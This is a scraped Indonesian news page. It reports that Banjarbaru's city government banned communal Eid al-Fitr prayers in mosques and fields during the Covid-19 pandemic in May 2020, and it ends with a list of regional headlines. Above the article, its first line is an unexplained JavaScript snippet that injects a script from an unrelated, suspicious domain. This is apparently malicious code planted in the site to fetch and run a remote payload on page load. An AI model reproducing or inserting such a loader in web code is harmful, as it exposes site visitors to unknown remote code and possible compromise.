(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

RESMI. Sholat Idul Fitri di Banjarbaru Tidak Diperbolehkan di Mesjid dan Lapangan


KANALKALIMANTAN.COM, BANJARBARU –  Pemerintah Kota (Pemko) Banjarbaru telah mengeluarkan kebijakan tentang pelaksanaan Hari Raya Idul Fitri 1 Syawal 1441 Hijriah di tengah pandemi Covid-19. Salah satu kebijakannya ialah melarang pelaksanaan Sholat Idul Fitri di lapangan.

Wali Kota Banjarbaru Nadjmi Adhani, saat dihubungi Kanalkalimantan.com, pada Jumat (22/5/2020) pagi, mengatakan bahwa kebijakan pelaksanaan sholat Hari Raya Idul Fitri telah tertuang dalam surat edaran yang telah dikeluarkan oleh Gubenur Kalimantan Selatan.

“Banjarbaru melaksanakan imbauan dari Kementrian Agama dan Surat Edaran Gubernur,” kata Nadjmi.

Dalam surat edaran Gubernu Kalsel, dasar pelaksanaan Hari Raya Idul Fitri mengacu pada Surat Edaran Menteri Agama RI, Fatwa MUI, dan hasil rapat Menko Polhukam. Termasuk juga menimbang fakta bahwa masih merebaknya pandemi Covid-19 di seluruh daerah di Provinsi Kalsel dan belum menunjukan tanda-tanda akan berakhir.

Maka dari itu, Surat Edaran Gubenur Kalsel mengimbau bagi seluruh umat muslim dan pengurus mesjid dan musholla untuk tetap beribadah Idul Fitri dengan menghindari massa dalam jumlah besar.

Adapun ketentuan yang ditetapkan dalam pelaksanaan Idul Fitri di Banjarbaru yakni :

1.Takbiran agar dilaksanakan di masjid/musholla tetap mempedomani protokol kesehatan Covid-19, sosial distancing dan physical distancing dan tidak melaksanakan takbir keliling.

2.Sholat Idul Fitri yang lazimnya dilaksanakan berjamaah di mesjid atau di lapangan, agar dilakukan bersama keluarga di rumah.

3.Kegiatan silaturahmi halal bi halal Hari Raya Idul Fitri 1441 H agar dilaksanakan secara daring (online).

Tiap individu dan pengurus masjid/musholla agar mematuhi peraturan dan keputusan yang dikeluarkan pemerintah. (kanalkalimantan.com/rico)

Reporter : rico
Editor : bie

 


Al Ghifari

Recent Posts

Banmus DPRD Kapuas Susun Kegiatan Masa Persidangan Kedua

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More

7 jam ago

Festival Hasil Panen Belajar Program Guru Penggerak di HSU

KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More

7 jam ago

Bawaslu Kalsel Buka Seleksi Panwascam, Pengawas Lama Tak Penuhi Syarat Diganti

KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More

8 jam ago

Sekretariat DPRD Kapuas Ikut Meriahkan Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More

8 jam ago

Opsi Lain Maju Pilkada Banjarbaru, Minimal Kantongi 19.061 KTP Dukungan

KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More

8 jam ago

Peringati Hari Kartini, Ini Pesan Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More

10 jam ago

This website uses cookies.